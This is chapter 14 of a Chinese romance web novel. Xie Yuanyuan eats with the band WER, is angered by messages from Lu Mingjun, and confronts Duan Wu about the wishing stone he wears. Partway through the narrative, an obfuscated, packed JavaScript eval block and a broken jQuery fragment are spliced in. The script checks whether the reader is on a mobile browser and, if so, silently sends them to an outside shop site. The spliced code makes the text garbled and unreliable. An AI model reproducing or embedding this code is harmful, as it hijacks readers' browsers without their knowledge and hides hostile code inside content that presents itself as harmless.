14. 男人在求饶
    许愿石的链绳。

    段雾也买了许愿石。

    只是石头藏在衣服里,谢圆圆看不到它的颜色。

    “谢谢。”

    谢圆圆刚道谢,段雾就松开她的手,她愣神的片刻,段雾已经走在前面了。

    她心有不解,一路上心不在焉,差点摔段雾身上。

    裴爽走在最后面,时不时拍拍风景,还有眼前这群人。

    终于到了平地,蒋赐把遮阳伞递给谢圆圆时,谢圆圆倍感欣慰,“放心,答应你的事情我不会忘的。”

    蒋赐很高兴,“我现在就回去取信!”

    少年跑向家的方向,额头的汗滴落沾湿衣襟,他的笑容比阳光还要灿烂。

    身后一群人停下脚步,阳光刺眼,都皱着眉。

    裴爽问:“这兄弟咋走了?留下来吃饭啊。”

    交流之后他觉得跟蒋赐还挺合拍的,一问联系方式没有,那咋交朋友啊。

    “谢姐,你把他家庭地址给我吧,详细点。”

    谢圆圆点点头,撑起伞来,落下一小片阴影遮住自己。

    其余人显然没带伞,谢圆圆也不好意思一个人撑伞。

    徐忍冬猝不及防跟谢圆圆对视,谢圆圆邀请她一起遮阳,徐忍冬摆摆手,“那个,他怕晒。”

    段雾被徐忍冬指了也不说话,静静地看着谢圆圆。

    谢圆圆笑出声,那声音谁都能听出来勉强,她慢慢挪动身子,直至伞落下的阴影遮住段雾的脸。

    “谢谢。”

    “我来吧。”

    段雾抓住伞的把手,手的位置距离谢圆圆的手仅有一指宽。

    两人撑一伞的人都知道,矮子拿伞另一个人需要弯着脖子,非常不舒服。

    谢圆圆看着自己头大概到段雾鼻子的位置,能理解段雾的行为了。

    韩修竹肉眼可见的疲累,他倚靠在花三星肩上,“兄弟们,吃饭行不行,累倒了。”

    “虚!就你虚!”

    连裴爽的挖苦他都无力反驳,长长地啊了一声。

    他是WER家世最好的一员,尽管性格野爱自由,尝试的运动也都是在凉爽环境下,比如赛车,溜冰,跳水等等。

    头一次在阳光下爬山,好像被吸了浑身无力。

    花三星提议先去吃饭,晚上回旅馆再工作。

    众人都没有异议。

    花三星沉迷于工作,这会放松下来,第一次认真看向谢圆圆,“一起去吧。”

    WER的热情无人可挡,谢圆圆受宠若惊,下意识问最近的人,“我可以吗?”

    她还挺喜欢这群人的氛围。

    段雾轻轻斜了她一眼,“想去就去,不用问我。”

    谢圆圆点点头,掏出手机给彭翠琴打电话,她应该和奶奶报备一下。

    “和人吃饭。”

    她一开口这四个字,彭翠琴的大嗓门就憋不住了,“你和谁吃饭,我看见蒋赐回来了,就你一个人和谁吃饭?”

    彭翠琴语气严肃,话里话外都是不要轻信别人。

    “咱村里你还认识谁,你告诉我你和谁吃饭,否则我不放心你就给我回家。”

    谢圆圆庆幸手机没开免提,否则她真要社死了。

    她捂着电话,“是段……恒。”

    差点说成段雾,彭翠琴可不认识段雾。

    彭翠琴那边声音静止几秒,再开口气焰都弱下去,“他也回来了?”

    人生也如江湖,聚散离合乃是人生常事,也许人们怀念的人永远都只能怀念,因为人们常难于相逢,无法察觉那一次见面就是告别。

    彭翠琴没想到她还能听到段恒的消息,她记忆中的两个孩子都已经长大成人。

    她怎么也不敢想如今两人都回来了,眼泪盘旋在眼里,彭翠琴险些哽咽,她深吸一口气稳住气息,“他既然也在这,我想见见他,你把他带过来家里,我还挺想看看他长大的样子。”

    她想看看,当初的男孩女孩,如今长大成人站在一起的画面,只怕她先忍不住在年轻人面前落泪。

    “我不知道他愿不愿意,我尽量。”

    说完谢圆圆做贼心虚似的挂上电话,“我好了。”

    日渐西斜,黄昏时刻。

    一群俊男靓女走进店,注定会引起他人的注目。特别是WER乐队的高颜值,在乡镇是千年难遇的程度。

    众人落座,唯有段雾身边空着,谢圆圆站着不动,坐得近好像有点暧昧了。

    但她又想起奶奶的嘱咐,随即收心坐下来。

    裴爽举着ccd慢悠悠移动镜头,在每个人身上停留一阵。

    老板走过来要签名,说可以打折。

    谢圆圆目光在段雾和老板之间流连,惊讶地睁圆眼睛。

    等到老板手握六个人的签名离开以后,谢圆圆嘴角轻轻地抽了抽,身体挺直得有些僵硬了。

    这家餐馆是主营地方特色菜的,裴爽记录完放下相机,紧接着夺过菜单,就被徐忍冬揍了一把。

    韩修竹像是知道了原因,也给他手上一巴掌,“你搞什么?不懂得谦让。”

    谢圆圆饶有兴趣地看着他们互动,结果菜单到了她手上。

    她连忙回忆待客礼仪,什么餐桌点餐必备菜,什么荤素比例,问了其他人的忌口才点菜。

    裴爽笑嘻嘻接过菜单,然后赔罪,“我太想吃了,忘了还有谢姐在。”

    他点起菜来全凭喜好,其他人也没觉得有什么不妥,都很平静,只有韩修竹饿极了摆着臭脸。

    他们的氛围真的很让人羡慕。

    谢圆圆这一刻才觉难以融入,这里除了她,便是WER这一个队伍。

    只有她是外人。

    “谢姐,我们原创曲快要发布了,首演要不要来,给你前排!”裴爽的话打断她的出神。

    “对,现在网络发酵得厉害,票很难原价买到。”

    徐忍冬没有在吹牛,WER虽然一时爆火,但这流量也够他们下次演出大卖。

    如果他们能抓住这次机会,就能成为原创乐队。

    谢圆圆思索片刻,以工作为借口婉拒。

    裴爽不信,要谢圆圆给他证明,这是谢圆圆第二次觉得男生比男人难缠多了。

    第一次是李星鹤。

    男人懂得适可而止,而男孩他们追问到底。

    “你们原创曲什么时候?”

    “下个月,谢姐你要是不忙就过来。”

    “我忙。”

    “你忙啥?能不能推掉?你要是不方便推脱我帮你。”

    “我真要工作,大家互相理解理解。”

    裴爽这个人没情商就算了,谢圆圆体谅他年龄小,可这一圈在座的人,没一个出来制止裴爽的,是咋回事?

    谢圆圆在饭桌上划起手机,把裴爽的话抛在脑后。

    “你玩什么手机啊,谢姐你理理我。”

    “不听。”

    裴爽长长哀叹一声,眉头皱在一起,似乎第一次遇见他搞定不定的人。

    与此同时,谢圆圆手机进入一条新消息。

    她有两个微信,一个用来联系熟人,一个作为工作。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671486|144186||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    熟人号设有通知,谢圆圆随手点开,神色一变再变,呼吸带着轻微的怒火。

    【陆明筠:给我离段恒远点。】

    【陆明筠:没了解那场演出是我粗心,现在回归正轨,工作上我支持你。】

    裴爽动作放轻,慢慢将谢圆圆面前的杯子一点一点挪远。

    真怕她一发火往他头上扣。

    剩下的时间裴爽小心翼翼,一颗心始终悬着,嘴巴除了吃没再打开过。

    谢圆圆胸腔堆积着闷火,她努力保持平静,殊不知自己的情绪全部写在脸上,难以隐藏。

    饭局结束。

    其他成员自然是能跑多远跑多远。

    裴爽率先跟段雾说拜拜,其他人默契地选择跟裴爽打一辆车。

    室外的空气让谢圆圆的心情好了一点,但仅是一点,谢圆圆盯着段雾,“你送我回家吗?”

    她语气算不上亲切,甚至可以说像批评一样。

    陆明筠的独断专行,简直让她看见一个男人都觉得心烦。

    “嗯。”

    “行,我奶奶想要见你。”

    她说完才觉神奇,被陆明筠气乱的大脑竟然还能记住奶奶的交代。

    段雾这次回答比先前慢些,他瞄了一眼谢圆圆看向街灯,“好。”

    谢圆圆刚从手机上抬起头,晚上7:42,她还有时间调节情绪,好让彭翠琴不担心。

    她说她想先走一走。

    段雾也答应着。

    她转身就走,又被段雾拦回来,她险些撞上陌生男人。

    身边偶尔有人经过,谢圆圆站定看了眼天上的星星,转身表情很不爽。

    “你能不能走快点?”

    这条路虽不够宽,但她也看见有人并肩呀。

    段雾应声,默默走到谢圆圆身边。

    谢圆圆这才满意。

    接下来的路两人始终并肩,如果有人经过,谢圆圆就会拉段雾一把。

    她看不惯段雾侧身子给人让路。

    谦让可以,一直谦让就会一直被欺负。

    包里的手机响起铃声,谢圆圆看了眼不耐烦地挂断。

    因为没回消息,对方锲而不舍地又打进来。

    “陆明筠,你要是还想一起过年,就把你的嘴闭上好好上你的班!”

    陆明筠想喊的一句“圆圆”卡在喉咙里,他沉默时,电话已被挂断。

    谢圆圆看了眼段雾,想起那次相遇,明明是陆明筠送来的票让她再遇段雾,现在又告诉她当没发生,可能吗?

    又想起段雾高中时挨打受了重伤,浑身是血,然后她得知始作俑者是陆明筠。

    她对不起段雾,她曾经愧疚。

    现在段雾对她似乎余情未了,那便代表她能得到了补偿对方的机会,好让自己心安。

    谢圆圆站定,目光在段雾喉间扫了一下,“你别动。”

    段雾脖子上的绳子被她一拽,形状特别的小石露出来。

    身边的路灯照来的光昏黄,谢圆圆看不清。

    她拽着绳走到灯下,段雾竟配合得没有反抗。

    只是段雾的态度,她就能确定了。

    而许愿石的颜色,更是证据确凿,让谢圆圆心情舒畅了一点。

    “你还喜欢我,装作不认识我搞我心态?”

    “不是。”

    段雾眼睛没有躲闪,却让谢圆圆一瞬以为看见了七年前的段恒。

    目光在求饶。

    像一滴水沁润了谢圆圆的喉咙,不足以解渴,反而让她更渴求水。